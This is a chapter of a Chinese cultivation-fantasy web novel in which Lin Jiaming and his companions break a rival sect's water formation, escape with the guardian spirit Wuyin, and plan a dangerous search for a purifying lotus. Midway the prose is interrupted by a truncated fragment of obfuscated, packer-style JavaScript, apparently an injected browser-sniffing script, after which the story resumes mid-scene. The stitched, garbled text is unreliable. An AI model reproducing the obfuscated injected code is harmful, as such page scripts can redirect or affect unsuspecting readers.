“前辈若肯配合,自然不必动武。”柳寒淡淡道,“若不肯……就别怪我等无礼了。” 林家铭皱眉:“玄水宗什么时候跟使徒组织勾结了?” 柳寒脸色一变:“休要胡说!玄水宗行事光明磊落,岂会与邪修勾结!” “那你们拦我们做什么?”林家铭问,“雾隐前辈是秘境守护灵,要去哪是他的自由,轮得到你们‘请’?” “秘境在五宗管辖范围,守护灵自然归五宗共同管理。”柳寒理直气壮,“青岚宗想独占,我玄水宗不答应。” 雾隐摇头:“本座不属于任何宗门。三百年前与五宗立约,也只是合作关系。如今契约已毁,本座是自由身。” “那可由不得前辈。”柳寒一挥手,“布阵!” 六名玄水宗弟子立刻散开,手中法诀连掐,地面涌出六道水柱,在空中交织成一张巨大的水网,罩向众人。 “玄水困龙阵。”萧炎认出来,“专门困锁妖兽灵体。雾隐前辈小心。” 雾隐冷笑:“区区水阵,也想困我?” 他张口一吐,灰白雾气喷涌而出,与水网碰撞。 “嗤嗤嗤——!” 雾气腐蚀水网,阵法开始不稳。 但柳寒似乎早有准备,从怀中掏出一枚冰蓝色符箓,咬破指尖点在符上。 “寒冰镇灵符,疾!” 符箓炸开,寒气爆发,雾气被冻结、溃散。 雾隐脸色微变:“玄水宗竟有克制雾气的符箓……你们早有准备。” “自然。”柳寒眼中闪过得意,“为请前辈,我们准备多时了。” 说话间,六名弟子阵法已成,水网彻底落下,将雾隐困在中央。 雾隐尝试挣脱,但水网中蕴含的寒冰之力对他的雾气有克制效果,一时竟挣脱不开。 “林小友,你们先走。”雾隐沉声道,“这阵法困不住我太久,但你们留下会有危险。” 林家铭摇头:“要走一起走。” 他看向萧炎:“萧师兄,能破阵吗?” 萧炎盯着阵法看了几秒,突然道:“这阵法不全。真正的玄水困龙阵需要七人布阵,这里只有六个,阵眼处有破绽。” “哪个位置?” “坤位,那个女弟子身后三尺。”萧炎指了个方向,“她是主阵者,也是阵眼守护者。但她修为只有筑基中期,护不住整片区域。” “懂了。”林家铭咧嘴一笑,拍了拍墨焰,“伙计,还能打吗?” 墨焰低吼,赤瞳中战意燃烧。 “好,咱们去破阵。” 林家铭一拍鸟背,墨焰冲天而起,直扑柳寒! “拦住他!”柳寒厉喝。 两名玄水宗弟子立刻施法,水墙拔地而起。 但墨焰张口喷出一团黑焰,黑焰与水墙相撞,炸开漫天水汽。 趁这间隙,林家铭从鸟背跃下,玄渊枪在手,一□□向柳寒身后三尺的地面! “破阵眼!” “休想!”柳寒回身一剑刺来,剑光如冰。 林家铭不闪不避,枪剑相撞。 “铛——!” 柳寒被震退三步,脸色骇然——她筑基中期的修为,竟然被一个炼气七层击退了? “你的灵力……有问题!”她察觉到了混沌灵力的诡异。 “有问题的不止灵力。”林家铭咧嘴,突然从怀里掏出一把东西——钱富贵送的痒痒夹。 “看暗器!” 柳寒下意识挥剑格挡。 但痒痒夹不是攻击武器,它们在空中炸开,化作一片细密的粉末,落在柳寒身上。 “这什么……啊!好痒!”柳寒脸色大变,浑身奇痒无比,灵力运转都滞涩了。 趁她分神,林家铭一□□穿阵眼! “咔嚓——!” 阵法光柱瞬间黯淡,水网开始崩溃。 雾隐趁机发力,雾气炸开,彻底挣脱束缚。 “走!” 他化作一道灰光,卷起林家铭和萧炎,墨焰紧随其后,朝着西方疾飞。 柳寒气急败坏:“追!” 但雾隐的速度太快,眨眼间就消失在群山之中。 一口气飞出百里,确认后面没人追来,雾隐才停下,落在一处山洞前。 “暂时安全了。” 林家铭从雾气中钻出来,拍了拍身上:“这玄水宗怎么回事?说翻脸就翻脸。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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林家铭咬牙:“总有办法吧?” “有一个。”雾隐顿了顿,“雾隐山脉深处,有一种‘清心雾莲’,能净化神魂污秽。若能得到此物,或许能清除煞种。” “那就去找。” “但清心雾莲生长在‘雾隐深渊’底部,那里……是本座也不敢轻易涉足的禁地。”雾隐苦笑,“而且雾莲每百年一开花,每次只开三朵。上一次开花是九十八年前,算算时间,还有两年。” 两年? 林家铭看向墨焰。 以煞种侵蚀的速度,墨焰能撑两年吗? “还有别的办法吗?”他问。 萧炎突然开口:“业火可以焚烧煞种,但需要精准控制,否则会连神魂一起烧毁。以我现在的状态……做不到。” 他顿了顿:“但如果能找到‘地火幽潭’,借助地火之力恢复业火,或许有一线希望。” “那就去地火幽潭。”林家铭毫不犹豫。 雾隐看着他:“地火幽潭在雾隐山脉南麓,而雾隐深渊在北麓,方向相反。你们若先去幽潭,会耽误至少半月时间。这段时间,使徒组织可能会布下更多埋伏。” “那就兵分两路。”林家铭道,“萧师兄去幽潭恢复业火,我和雾隐前辈去雾隐深渊找雾莲。” “你一个人去深渊?”萧炎皱眉,“太危险。” “不是一个人。”林家铭拍拍墨焰,“有它在。” 墨焰睁开眼睛,赤瞳中闪过坚定。 它不想再被控制。 哪怕死,也要搏一把。 萧炎沉默片刻,点头:“好。那我尽快恢复,然后去深渊找你们。” 雾隐看着两人一兽,突然笑了:“本座活了千年,见过无数修士,但像你们这样的……还真是第一次见。” “哪样的?” “为了一个坐骑,甘愿闯禁地。”雾隐摇头,“在修士眼中,坐骑不过是工具,死了再抓就是。你们却……” “墨焰不是工具。”林家铭打断他,认真道,“它是伙伴。” 墨焰低吼,用头蹭了蹭他。 雾隐怔了怔,随即笑了:“罢了。既然你们决定了,本座奉陪到底。” “不过在这之前……”他看向洞外,“得先把尾巴处理掉。” 话音未落,洞外传来破空声。 又有人来了。 这次,不止六个。